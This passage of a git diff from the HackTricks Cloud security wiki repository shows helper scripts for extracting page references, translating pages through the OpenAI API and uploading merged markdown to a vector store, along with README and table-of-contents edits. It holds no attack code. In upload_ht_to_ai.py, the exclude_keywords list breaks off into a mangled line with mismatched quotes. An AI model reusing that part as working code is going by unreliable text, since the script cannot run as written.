print(f"❌ Error creating empty unmatched paths file {args.files_unmatched_paths}: {e}")
|
||||
|
||||
print(f"\n SUMMARY:")
|
||||
print(f" Files processed: {files_processed}")
|
||||
print(f" Files with different refs: {files_with_differences}")
|
||||
print(f" Files modified: {files_modified}")
|
||||
print(f" Non existing files: {unexisted_files}")
|
||||
if unmatched_files:
|
||||
print(f" Unmatched files: {len(unmatched_files)}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
38
scripts/get_and_save_refs.py
Normal file
38
scripts/get_and_save_refs.py
Normal file
@@ -0,0 +1,38 @@
|
||||
#!/usr/bin/env python3
|
||||
import json
|
||||
import re
|
||||
from pathlib import Path
|
||||
|
||||
SRC_DIR = Path("./src")
|
||||
REFS_JSON = Path("/tmp/refs.json")
|
||||
|
||||
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
|
||||
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
|
||||
|
||||
def extract_refs(text: str):
|
||||
"""Return a list of refs (trimmed) in appearance order."""
|
||||
return [m.strip() for m in REF_RE.findall(text)]
|
||||
|
||||
def main():
|
||||
if not SRC_DIR.is_dir():
|
||||
raise SystemExit(f"Not a directory: {SRC_DIR}")
|
||||
|
||||
refs_per_path = {} # { "relative/path.md": [ref1, ref2, ...] }
|
||||
|
||||
for md_path in sorted(SRC_DIR.rglob("*.md")):
|
||||
rel = md_path.relative_to(SRC_DIR).as_posix()
|
||||
try:
|
||||
content = md_path.read_text(encoding="utf-8")
|
||||
except UnicodeDecodeError:
|
||||
# Fallback if encoding is odd
|
||||
content = md_path.read_text(errors="replace")
|
||||
|
||||
refs = extract_refs(content)
|
||||
refs_per_path[rel] = refs # keep order from findall
|
||||
|
||||
|
||||
REFS_JSON.write_text(json.dumps(refs_per_path, indent=2, ensure_ascii=False) + "\n", encoding="utf-8")
|
||||
print(f"Wrote {REFS_JSON} with {len(refs_per_path)} files.")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -12,15 +12,25 @@ from tqdm import tqdm #pip3 install tqdm
|
||||
import traceback
|
||||
|
||||
|
||||
|
||||
MASTER_BRANCH = "master"
|
||||
VERBOSE = True
|
||||
MAX_TOKENS = 10000 #gpt-4-1106-preview
|
||||
MAX_TOKENS = 50000 #gpt-4-1106-preview
|
||||
DISALLOWED_SPECIAL = "<|endoftext|>"
|
||||
REPLACEMENT_TOKEN = "<END_OF_TEXT>"
|
||||
|
||||
def _sanitize(text: str) -> str:
|
||||
"""
|
||||
Replace the reserved tiktoken token with a harmless placeholder.
|
||||
Called everywhere a string can flow into tiktoken.encode() or the
|
||||
OpenAI client.
|
||||
"""
|
||||
return text.replace(DISALLOWED_SPECIAL, REPLACEMENT_TOKEN)
|
||||
|
||||
def reportTokens(prompt, model):
|
||||
encoding = tiktoken.encoding_for_model(model)
|
||||
# print number of tokens in light gray, with first 50 characters of prompt in green. if truncated, show that it is truncated
|
||||
#print("\033[37m" + str(len(encoding.encode(prompt))) + " tokens\033[0m" + " in prompt: " + "\033[92m" + prompt[:50] + "\033[0m" + ("..." if len(prompt) > 50 else ""))
|
||||
prompt = _sanitize(prompt)
|
||||
return len(encoding.encode(prompt))
|
||||
|
||||
|
||||
@@ -36,35 +46,37 @@ def get_branch_files(branch):
|
||||
files = result.stdout.decode().splitlines()
|
||||
return set(files)
|
||||
|
||||
def delete_unique_files(branch):
|
||||
def get_unused_files(branch):
|
||||
"""Delete files that are unique to branch2."""
|
||||
# Get the files in each branch
|
||||
files_branch1 = get_branch_files(MASTER_BRANCH)
|
||||
files_branch2 = get_branch_files(branch)
|
||||
files_branch_master = get_branch_files(MASTER_BRANCH)
|
||||
files_branch_lang = get_branch_files(branch)
|
||||
|
||||
# Find the files that are in branch2 but not in branch1
|
||||
unique_files = files_branch2 - files_branch1
|
||||
unique_files = files_branch_lang - files_branch_master
|
||||
|
||||
if unique_files:
|
||||
# Switch to the second branch
|
||||
subprocess.run(["git", "checkout", branch])
|
||||
|
||||
# Delete the unique files from the second branch
|
||||
for file in unique_files:
|
||||
subprocess.run(["git", "rm", file])
|
||||
|
||||
subprocess.run(["git", "checkout", MASTER_BRANCH])
|
||||
|
||||
print(f"[+] Deleted {len(unique_files)} files from branch: {branch}")
|
||||
return unique_files
|
||||
|
||||
|
||||
def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translate_files):
|
||||
"""
|
||||
Get the translated files from the temp folder and copy them to the repo directory in the expected branch.
|
||||
Also remove all the files that are not in the master branch.
|
||||
"""
|
||||
branch_exists = subprocess.run(['git', 'show-ref', '--verify', '--quiet', 'refs/heads/' + branch])
|
||||
# If branch doesn't exist, create it
|
||||
if branch_exists.returncode != 0:
|
||||
subprocess.run(['git', 'checkout', '-b', branch])
|
||||
else:
|
||||
subprocess.run(['git', 'checkout', branch])
|
||||
|
||||
# Get files to delete
|
||||
files_to_delete = get_unused_files(branch)
|
||||
|
||||
# Delete files
|
||||
for file in files_to_delete:
|
||||
os.remove(file)
|
||||
print(f"[+] Deleted {file}")
|
||||
|
||||
# Walk through source directory
|
||||
for dirpath, dirnames, filenames in os.walk(temp_folder):
|
||||
@@ -79,32 +91,72 @@ def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translat
|
||||
for file_name in filenames:
|
||||
src_file = os.path.join(dirpath, file_name)
|
||||
shutil.copy2(src_file, dest_path)
|
||||
|
||||
print(f"Translated files copied to branch: {branch}")
|
||||
if not "/images/" in src_file and not "/theme/" in src_file:
|
||||
print(f"[+] Copied from {src_file} to {file_name}")
|
||||
|
||||
if translate_files:
|
||||
subprocess.run(['git', 'add', "-A"])
|
||||
subprocess.run(['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]])
|
||||
subprocess.run(['git', 'checkout', MASTER_BRANCH])
|
||||
print("Commit created and moved to master branch")
|
||||
commit_and_push(translate_files, branch)
|
||||
else:
|
||||
print("No commiting anything, leaving in language branch")
|
||||
|
||||
def commit_and_push(translate_files, branch):
|
||||
# Define the commands we want to run
|
||||
commands = [
|
||||
['git', 'add', '-A'],
|
||||
['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]],
|
||||
['git', 'push', '--set-upstream', 'origin', branch],
|
||||
]
|
||||
|
||||
for cmd in commands:
|
||||
result = subprocess.run(cmd, capture_output=True, text=True)
|
||||
|
||||
# Print stdout and stderr (if any)
|
||||
if result.stdout:
|
||||
print(f"STDOUT for {cmd}:\n{result.stdout}")
|
||||
if "nothing to commit" in result.stdout.lower():
|
||||
print("Nothing to commit, leaving")
|
||||
exit(0)
|
||||
|
||||
if result.stderr:
|
||||
print(f"STDERR for {cmd}:\n{result.stderr}")
|
||||
|
||||
# Check for errors
|
||||
if result.returncode != 0:
|
||||
raise RuntimeError(
|
||||
f"Command `{cmd}` failed with exit code {result.returncode}"
|
||||
)
|
||||
|
||||
print("Commit created and pushed")
|
||||
|
||||
|
||||
def translate_text(language, text, file_path, model, cont=0, slpitted=False, client=None):
|
||||
if not text:
|
||||
return text
|
||||
|
||||
messages = [
|
||||
{"role": "system", "content": "You are a professional hacker, translator and writer. You write everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output."},
|
||||
{"role": "system", "content": f"The following is content from a hacking book about hacking techiques. The following content is from the file {file_path}. Translate the relevant English text to {language} and return the translation keeping excatly the same markdown and html syntax. Do not translate things like code, hacking technique names, hacking word, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, and markdown tags. Also don't add any extra stuff apart from the translation and markdown syntax."},
|
||||
{"role": "system", "content": "You are a professional hacker, translator and writer. You translate everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output and do not translate markdown or html tags or links."},
|
||||
{"role": "system", "content": f"""The following is content from a hacking book about technical hacking techiques. The following given content is from the file {file_path}.
|
||||
Translate the relevant English text to {language} and return the translation keeping exactly the same markdown and html syntax and following this guidance:
|
||||
|
||||
- Don't translate things like code, hacking technique names, common hacking words, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, links and markdown tags.
|
||||
- Don't translate links or paths, e.g. if a link or ref is to "lamda-post-exploitation.md" don't translate that path to the language.
|
||||
- Don't translate or modify tags, links, refs and paths like in:
|
||||
- {{#tabs}}
|
||||
- {{#tab name="Method1"}}
|
||||
- {{#ref}}\ngeneric-methodologies-and-resources/pentesting-methodology.md\n{{#endref}}
|
||||
- {{#include ./banners/hacktricks-training.md}}
|
||||
- {{#ref}}macos-tcc-bypasses/{{#endref}}
|
||||
- {{#ref}}0.-basic-llm-concepts.md{{#endref}}
|
||||
- Don't translate any other tag, just return markdown and html content as is.
|
||||
|
||||
Also don't add any extra stuff in your response that is not part of the translation and markdown syntax."""},
|
||||
{"role": "user", "content": text},
|
||||
]
|
||||
try:
|
||||
response = client.chat.completions.create(
|
||||
model=model,
|
||||
messages=messages,
|
||||
temperature=0
|
||||
temperature=1 # 1 because gpt-5 doesn't support other
|
||||
)
|
||||
except Exception as e:
|
||||
print("Python Exception: " + str(e))
|
||||
@@ -149,6 +201,9 @@ def translate_text(language, text, file_path, model, cont=0, slpitted=False, cli
|
||||
return translate_text(language, text, file_path, model, cont, False, client)
|
||||
|
||||
response_message = response.choices[0].message.content.strip()
|
||||
response_message = response_message.replace("bypassy", "bypasses") # PL translations translates that from time to time
|
||||
response_message = response_message.replace("Bypassy", "Bypasses")
|
||||
response_message = response_message.replace("-privec.md", "-privesc.md") # PL translations translates that from time to time
|
||||
|
||||
# Sometimes chatgpt modified the number of "#" at the beginning of the text, so we need to fix that. This is specially important for the first line of the MD that mucst have only 1 "#"
|
||||
cont2 = 0
|
||||
@@ -170,9 +225,11 @@ def split_text(text, model):
|
||||
chunks = []
|
||||
chunk = ''
|
||||
in_code_block = False
|
||||
in_ref = False
|
||||
|
||||
for line in lines:
|
||||
# If we are in a code block, just add the code to the chunk
|
||||
|
||||
# Keep code blocks as one chunk
|
||||
if line.startswith('```'):
|
||||
|
||||
# If we are in a code block, finish it with the "```"
|
||||
@@ -188,8 +245,24 @@ def split_text(text, model):
|
||||
chunk += line + '\n'
|
||||
|
||||
continue
|
||||
|
||||
"""
|
||||
Prevent refs using `` like:
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md`
|
||||
{{#endref}}
|
||||
"""
|
||||
if line.startswith('{{#ref}}'):
|
||||
in_ref = True
|
||||
|
||||
if in_ref:
|
||||
line = line.replace("`", "")
|
||||
|
||||
if line.startswith('{{#endref}}'):
|
||||
in_ref = False
|
||||
|
||||
|
||||
# If new section, see if we should be splitting the text
|
||||
if (line.startswith('#') and reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS*0.8) or \
|
||||
reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS:
|
||||
|
||||
@@ -202,23 +275,30 @@ def split_text(text, model):
|
||||
return chunks
|
||||
|
||||
|
||||
def copy_gitbook_dir(source_path, dest_path):
|
||||
folder_name = ".gitbook/"
|
||||
source_folder = os.path.join(source_path, folder_name)
|
||||
destination_folder = os.path.join(dest_path, folder_name)
|
||||
if not os.path.exists(source_folder):
|
||||
print(f"Error: {source_folder} does not exist.")
|
||||
else:
|
||||
# Copy the .gitbook folder
|
||||
shutil.copytree(source_folder, destination_folder)
|
||||
print(f"Copied .gitbook folder from {source_folder} to {destination_folder}")
|
||||
def copy_dirs(source_path, dest_path, folder_names):
|
||||
for folder_name in folder_names:
|
||||
source_folder = os.path.join(source_path, folder_name)
|
||||
destination_folder = os.path.join(dest_path, folder_name)
|
||||
if not os.path.exists(source_folder):
|
||||
print(f"Error: {source_folder} does not exist.")
|
||||
else:
|
||||
# Copy the theme folder
|
||||
shutil.copytree(source_folder, destination_folder)
|
||||
print(f"Copied {folder_name} folder from {source_folder} to {destination_folder}")
|
||||
|
||||
def copy_summary(source_path, dest_path):
|
||||
file_name = "src/SUMMARY.md"
|
||||
source_filepath = os.path.join(source_path, file_name)
|
||||
dest_filepath = os.path.join(dest_path, file_name)
|
||||
shutil.copy2(source_filepath, dest_filepath)
|
||||
print("[+] Copied SUMMARY.md")
|
||||
def move_files_to_push(source_path, dest_path, relative_file_paths):
|
||||
for file_path in relative_file_paths:
|
||||
source_filepath = os.path.join(source_path, file_path)
|
||||
dest_filepath = os.path.join(dest_path, file_path)
|
||||
if not os.path.exists(source_filepath):
|
||||
print(f"Error: {source_filepath} does not exist.")
|
||||
else:
|
||||
shutil.copy2(source_filepath, dest_filepath)
|
||||
print(f"[+] Copied {file_path}")
|
||||
|
||||
def copy_files(source_path, dest_path):
|
||||
file_names = ["src/SUMMARY.md", "hacktricks-preprocessor.py", "book.toml", ".gitignore", "src/robots.txt"]
|
||||
move_files_to_push(source_path, dest_path, file_names)
|
||||
|
||||
def translate_file(language, file_path, file_dest_path, model, client):
|
||||
global VERBOSE
|
||||
@@ -234,7 +314,7 @@ def translate_file(language, file_path, file_dest_path, model, client):
|
||||
translated_content = ''
|
||||
start_time = time.time()
|
||||
for chunk in content_chunks:
|
||||
# Don't trasnlate code blocks
|
||||
# Don't translate code blocks
|
||||
if chunk.startswith('```'):
|
||||
translated_content += chunk + '\n'
|
||||
else:
|
||||
@@ -248,9 +328,10 @@ def translate_file(language, file_path, file_dest_path, model, client):
|
||||
f.write(translated_content)
|
||||
|
||||
#if VERBOSE:
|
||||
print(f"Page {file_path} translated in {elapsed_time:.2f} seconds")
|
||||
print(f"Page {file_path} translated in {file_dest_path} in {elapsed_time:.2f} seconds")
|
||||
|
||||
|
||||
"""
|
||||
def translate_directory(language, source_path, dest_path, model, num_threads, client):
|
||||
all_markdown_files = []
|
||||
for subdir, dirs, files in os.walk(source_path):
|
||||
@@ -280,17 +361,17 @@ def translate_directory(language, source_path, dest_path, model, num_threads, cl
|
||||
tb = traceback.format_exc()
|
||||
print(f'Translation generated an exception: {exc}')
|
||||
print("Traceback:", tb)
|
||||
|
||||
"""
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("- Version 1.1.1")
|
||||
print("- Version 2.0.0")
|
||||
# Set up argparse
|
||||
parser = argparse.ArgumentParser(description='Translate gitbook and copy to a new branch.')
|
||||
parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
|
||||
#parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
|
||||
parser.add_argument('-l', '--language', required=True, help='Target language for translation.')
|
||||
parser.add_argument('-b', '--branch', required=True, help='Branch name to copy translated files.')
|
||||
parser.add_argument('-k', '--api-key', required=True, help='API key to use.')
|
||||
parser.add_argument('-m', '--model', default="gpt-4o-mini", help='The openai model to use. By default: gpt-4o-mini')
|
||||
parser.add_argument('-m', '--model', default="gpt-5-mini", help='The openai model to use. By default: gpt-5-mini')
|
||||
parser.add_argument('-o', '--org-id', help='The org ID to use (if not set the default one will be used).')
|
||||
parser.add_argument('-f', '--file-paths', help='If this is set, only the indicated files will be translated (" , " separated).')
|
||||
parser.add_argument('-n', '--dont-cd', action='store_false', help="If this is true, the script won't change the current directory.")
|
||||
@@ -345,7 +426,7 @@ if __name__ == "__main__":
|
||||
translate_files = None # Need to initialize it here to avoid error
|
||||
if args.file_paths:
|
||||
# Translate only the indicated file
|
||||
translate_files = [f for f in args.file_paths.split(' , ') if f]
|
||||
translate_files = list(set([f.strip() for f in args.file_paths.split(',') if f]))
|
||||
for file_path in translate_files:
|
||||
#with tqdm(total=len(all_markdown_files), desc="Translating Files") as pbar:
|
||||
with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
|
||||
@@ -359,23 +440,21 @@ if __name__ == "__main__":
|
||||
#pbar.update()
|
||||
except Exception as exc:
|
||||
print(f'Translation generated an exception: {exc}')
|
||||
|
||||
# Delete possibly removed files from the master branch
|
||||
delete_unique_files(branch)
|
||||
|
||||
elif args.directory:
|
||||
|
||||
#elif args.directory:
|
||||
# Translate everything
|
||||
translate_directory(language, source_folder, dest_folder, model, num_threads, client)
|
||||
#translate_directory(language, source_folder, dest_folder, model, num_threads, client)
|
||||
|
||||
else:
|
||||
print("You need to indicate either a directory or a list of files to translate.")
|
||||
exit(1)
|
||||
exit(0)
|
||||
|
||||
# Copy summary
|
||||
copy_summary(source_folder, dest_folder)
|
||||
# Copy Summary
|
||||
copy_files(source_folder, dest_folder)
|
||||
|
||||
# Copy .gitbook folder
|
||||
copy_gitbook_dir(source_folder, dest_folder)
|
||||
folder_names = ["theme/", "src/images/"]
|
||||
copy_dirs(source_folder, dest_folder, folder_names)
|
||||
|
||||
# Create the branch and copy the translated files
|
||||
cp_translation_to_repo_dir_and_check_gh_branch(branch, dest_folder, translate_files)
|
||||
|
||||
297
scripts/upload_ht_to_ai.py
Normal file
297
scripts/upload_ht_to_ai.py
Normal file
@@ -0,0 +1,297 @@
|
||||
import os
|
||||
import requests
|
||||
import zipfile
|
||||
import tempfile
|
||||
import time
|
||||
import glob
|
||||
import re
|
||||
|
||||
from openai import OpenAI
|
||||
|
||||
# Initialize OpenAI client
|
||||
client = OpenAI(api_key=os.getenv("MY_OPENAI_API_KEY"))
|
||||
|
||||
# Vector Store ID
|
||||
VECTOR_STORE_ID = "vs_67e9f92e8cc88191911be54f81492fb8"
|
||||
|
||||
# --------------------------------------------------
|
||||
# Step 1: Download and Extract Markdown Files
|
||||
# --------------------------------------------------
|
||||
|
||||
def download_zip(url, save_path):
|
||||
print(f"Downloading zip from: {url}")
|
||||
response = requests.get(url)
|
||||
response.raise_for_status() # Ensure the download succeeded
|
||||
with open(save_path, "wb") as f:
|
||||
f.write(response.content)
|
||||
print(f"Downloaded zip from: {url}")
|
||||
|
||||
def extract_markdown_files(zip_path, extract_dir):
|
||||
print(f"Extracting zip: {zip_path} to {extract_dir}")
|
||||
with zipfile.ZipFile(zip_path, "r") as zip_ref:
|
||||
zip_ref.extractall(extract_dir)
|
||||
# Recursively find all .md files
|
||||
md_files = glob.glob(os.path.join(extract_dir, "**", "*.md"), recursive=True)
|
||||
|
||||
return md_files
|
||||
|
||||
# Repository URLs
|
||||
hacktricks_url = "https://github.com/HackTricks-wiki/hacktricks/archive/refs/heads/master.zip"
|
||||
hacktricks_cloud_url = "https://github.com/HackTricks-wiki/hacktricks-cloud/archive/refs/heads/main.zip"
|
||||
|
||||
# Temporary directory for downloads and extraction
|
||||
temp_dir = tempfile.mkdtemp()
|
||||
try:
|
||||
# Download zip archives
|
||||
print("Downloading Hacktricks repositories...")
|
||||
hacktricks_zip = os.path.join(temp_dir, "hacktricks.zip")
|
||||
hacktricks_cloud_zip = os.path.join(temp_dir, "hacktricks_cloud.zip")
|
||||
download_zip(hacktricks_url, hacktricks_zip)
|
||||
download_zip(hacktricks_cloud_url, hacktricks_cloud_zip)
|
||||
|
||||
# Extract the markdown files
|
||||
hacktricks_extract_dir = os.path.join(temp_dir, "hacktricks")
|
||||
hacktricks_cloud_extract_dir = os.path.join(temp_dir, "hacktricks_cloud")
|
||||
|
||||
md_files_hacktricks = extract_markdown_files(hacktricks_zip, hacktricks_extract_dir)
|
||||
md_files_hacktricks_cloud = extract_markdown_files(hacktricks_cloud_zip, hacktricks_cloud_extract_dir)
|
||||
|
||||
all_md_files = md_files_hacktricks + md_files_hacktricks_cloud
|
||||
print(f"Found {len(all_md_files)} markdown files.")
|
||||
finally:
|
||||
# Optional cleanup of temporary files after processing
|
||||
# shutil.rmtree(temp_dir)
|
||||
pass
|
||||
|
||||
# --------------------------------------------------
|
||||
# Step 2: Remove All Existing Files in the Vector Store
|
||||
# --------------------------------------------------
|
||||
# List current files in the vector store and delete each one.
|
||||
existing_files = list(client.vector_stores.files.list(VECTOR_STORE_ID))
|
||||
print(f"Found {len(existing_files)} files in the vector store. Removing them...")
|
||||
|
||||
for file_obj in existing_files:
|
||||
# Delete the underlying file object; this removes it from the vector store.
|
||||
try:
|
||||
client.files.delete(file_id=file_obj.id)
|
||||
print(f"Deleted file: {file_obj.id}")
|
||||
time.sleep(1) # Give it a moment to ensure the deletion is processed
|
||||
except Exception as e:
|
||||
# Handle potential errors during deletion
|
||||
print(f"Error deleting file {file_obj.id}: {e}")
|
||||
|
||||
# ----------------------------------------------------
|
||||
# Step 3: Clean markdown Files
|
||||
# ----------------------------------------------------
|
||||
# Clean markdown files and marge them so it's easier to
|
||||
# uplaod to the vector store.
|
||||
|
||||
|
||||
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
|
||||
def clean_file_content(file_path):
|
||||
"""Clean the content of a single file and return the cleaned lines."""
|
||||
with open(file_path, "r", encoding="utf-8") as f:
|
||||
content = f.readlines()
|
||||
|
||||
cleaned_lines = []
|
||||
inside_hint = False
|
||||
for i,line in enumerate(content):
|
||||
# Skip lines containing excluded keywords
|
||||
if any(keyword in line for keyword in exclude_keywords):
|
||||
continue
|
||||
|
||||
# Detect and skip {% hint %} ... {% endhint %} blocks
|
||||
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
|
||||
inside_hint = True
|
||||
if "{% endhint %}" in line:
|
||||
inside_hint = False
|
||||
continue
|
||||
if inside_hint:
|
||||
continue
|
||||
|
||||
if line.startswith("#") and "reference" in line.lower(): #If references part reached, just stop reading the file
|
||||
break
|
||||
|
||||
# Skip lines with <figure> ... </figure>
|
||||
if re.match(r"<figure>.*?</figure>", line):
|
||||
continue
|
||||
|
||||
# Add the line if it passed all checks
|
||||
cleaned_lines.append(line.rstrip())
|
||||
|
||||
# Remove excess consecutive empty lines
|
||||
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
|
||||
return cleaned_lines
|
||||
|
||||
def remove_consecutive_empty_lines(lines):
|
||||
"""Allow no more than one consecutive empty line."""
|
||||
cleaned_lines = []
|
||||
previous_line_empty = False
|
||||
for line in lines:
|
||||
if line.strip() == "":
|
||||
if not previous_line_empty:
|
||||
cleaned_lines.append("")
|
||||
previous_line_empty = True
|
||||
else:
|
||||
cleaned_lines.append(line)
|
||||
previous_line_empty = False
|
||||
return cleaned_lines
|
||||
|
||||
def gather_files_in_order(start_folder):
|
||||
"""Gather all .md files in a depth-first order."""
|
||||
files = []
|
||||
for root, _, filenames in os.walk(start_folder):
|
||||
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md") and f.lower() not in ["summary.md", "references.md"]])
|
||||
files.extend(md_files)
|
||||
return files
|
||||
|
||||
# Gather files in depth-first order
|
||||
all_files = gather_files_in_order(start_folder)
|
||||
|
||||
# Process files and merge into a single output
|
||||
with open(output_file, "w", encoding="utf-8") as output:
|
||||
for file_path in all_files:
|
||||
# Clean the content of the file
|
||||
cleaned_content = clean_file_content(file_path)
|
||||
|
||||
# Skip saving if the cleaned file has fewer than 10 non-empty lines
|
||||
if len([line for line in cleaned_content if line.strip()]) < 10:
|
||||
continue
|
||||
|
||||
# Get the name of the file for the header
|
||||
file_name = os.path.basename(file_path)
|
||||
|
||||
# Write header, cleaned content, and 2 extra new lines
|
||||
output.write(f"### Start file: {file_name} ###\n\n")
|
||||
output.write("\n".join(cleaned_content))
|
||||
output.write("\n\n")
|
||||
|
||||
# Specify the starting folder and output file
|
||||
start_folder = os.getcwd()
|
||||
|
||||
# Keywords to exclude from lines
|
||||
exclude_keywords = [
|
||||
"hacktricks-training.md",
|
||||
", "hacktricks.md")
|
||||
htc_file = os.path.join(tempfile.gettempdir(), "hacktricks-cloud.md")
|
||||
clean_and_merge_md_files(hacktricks_extract_dir, exclude_keywords, ht_file)
|
||||
print(f"Merged content has been saved to: {ht_file}")
|
||||
clean_and_merge_md_files(hacktricks_cloud_extract_dir, exclude_keywords, htc_file)
|
||||
print(f"Merged content has been saved to: {htc_file}")
|
||||
|
||||
|
||||
# ----------------------------------------------------
|
||||
# Step 4: Upload All Markdown Files to the Vector Store
|
||||
# ----------------------------------------------------
|
||||
# Upload two files to the vector store.
|
||||
# Uploading .md hacktricks files individually can be slow,
|
||||
# so thats why we merged it before into just 2 files.
|
||||
|
||||
file_streams = []
|
||||
|
||||
ht_stream = open(ht_file, "rb")
|
||||
file_streams.append(ht_stream)
|
||||
htc_stream = open(htc_file, "rb")
|
||||
file_streams.append(htc_stream)
|
||||
|
||||
file_batch = client.vector_stores.file_batches.upload_and_poll(
|
||||
vector_store_id=VECTOR_STORE_ID,
|
||||
files=file_streams
|
||||
)
|
||||
|
||||
time.sleep(60) # Sleep for a minute to ensure the upload is processed
|
||||
ht_stream.close()
|
||||
htc_stream.close()
|
||||
|
||||
|
||||
""""This was to upload each .md independently, wich turned out to be a nightmare
|
||||
# Ensure we don't exceed the maximum number of file streams
|
||||
|
||||
for file_path in all_md_files:
|
||||
# Check if we have reached the maximum number of streams
|
||||
if len(file_streams) >= 300:
|
||||
print("Reached maximum number of file streams (300). Uploading current batch...")
|
||||
# Upload the current batch before adding more files
|
||||
file_batch = client.vector_stores.file_batches.upload_and_poll(
|
||||
vector_store_id=VECTOR_STORE_ID,
|
||||
files=file_streams
|
||||
)
|
||||
print("Upload status:", file_batch.status)
|
||||
print("File counts:", file_batch.file_counts)
|
||||
# Clear the list for the next batch
|
||||
file_streams = []
|
||||
time.sleep(120) # Sleep for 2 minutes to avoid hitting API limits
|
||||
try:
|
||||
stream = open(file_path, "rb")
|
||||
file_streams.append(stream)
|
||||
except Exception as e:
|
||||
print(f"Error opening {file_path}: {e}")
|
||||
|
||||
if file_streams:
|
||||
# Upload files and poll for completion
|
||||
file_batch = client.vector_stores.file_batches.upload_and_poll(
|
||||
vector_store_id=VECTOR_STORE_ID,
|
||||
files=file_streams
|
||||
)
|
||||
print("Upload status:", file_batch.status)
|
||||
print("File counts:", file_batch.file_counts)
|
||||
else:
|
||||
print("No markdown files to upload.")"
|
||||
|
||||
|
||||
# Close all file streams
|
||||
for stream in file_streams:
|
||||
stream.close()
|
||||
"""
|
||||
1
searchindex.js
Normal file
1
searchindex.js
Normal file
File diff suppressed because one or more lines are too long
@@ -4,9 +4,10 @@
|
||||
|
||||
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks के लोगो और मोशन का डिज़ाइन_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
_Hacktricks logos & motion designed by_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
### Run HackTricks Cloud Locally
|
||||
|
||||
### HackTricks Cloud को लोकल रूप से चलाएँ
|
||||
```bash
|
||||
# Download latest version of hacktricks cloud
|
||||
git clone https://github.com/HackTricks-wiki/hacktricks-cloud
|
||||
@@ -33,23 +34,24 @@ export LANG="master" # Leave master for English
|
||||
# Run the docker container indicating the path to the hacktricks-cloud folder
|
||||
docker run -d --rm --platform linux/amd64 -p 3377:3000 --name hacktricks_cloud -v $(pwd)/hacktricks-cloud:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
|
||||
```
|
||||
आपकी लोकल कॉपी HackTricks Cloud एक मिनट के बाद **[http://localhost:3377](http://localhost:3377)** पर उपलब्ध होगी।
|
||||
|
||||
### **Pentesting CI/CD पद्धति**
|
||||
Your local copy of HackTricks Cloud will be **available at [http://localhost:3377](http://localhost:3377)** after a minute.
|
||||
|
||||
**HackTricks CI/CD Methodology में आप जानेंगे कि CI/CD गतिविधियों से संबंधित इन्फ्रास्ट्रक्चर को कैसे pentest किया जाता है।** परिचय के लिए निम्नलिखित पेज पढ़ें:
|
||||
### **Pentesting CI/CD Methodology**
|
||||
|
||||
**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
|
||||
|
||||
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
|
||||
|
||||
### Pentesting Cloud पद्धति
|
||||
### Pentesting Cloud Methodology
|
||||
|
||||
**HackTricks Cloud Methodology में आप जानेंगे कि cloud environments को कैसे pentest किया जाता है।** परिचय के लिए निम्नलिखित पेज पढ़ें:
|
||||
**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
|
||||
|
||||
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
|
||||
|
||||
### लाइसेंस & अस्वीकरण
|
||||
### License & Disclaimer
|
||||
|
||||
**इन्हें देखें:**
|
||||
**Check them in:**
|
||||
|
||||
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
|
||||
|
||||
@@ -58,3 +60,4 @@ docker run -d --rm --platform linux/amd64 -p 3377:3000 --name hacktricks_cloud -
|
||||

|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
271
src/SUMMARY.md
271
src/SUMMARY.md
@@ -9,7 +9,6 @@
|
||||
# 🏭 Pentesting CI/CD
|
||||
|
||||
- [Pentesting CI/CD Methodology](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
|
||||
- [Docker Build Context Abuse in Cloud Envs](pentesting-ci-cd/docker-build-context-abuse.md)
|
||||
- [Gitblit Security](pentesting-ci-cd/gitblit-security/README.md)
|
||||
- [Ssh Auth Bypass](pentesting-ci-cd/gitblit-security/gitblit-embedded-ssh-auth-bypass-cve-2024-28080.md)
|
||||
- [Github Security](pentesting-ci-cd/github-security/README.md)
|
||||
@@ -42,7 +41,6 @@
|
||||
- [Atlantis Security](pentesting-ci-cd/atlantis-security.md)
|
||||
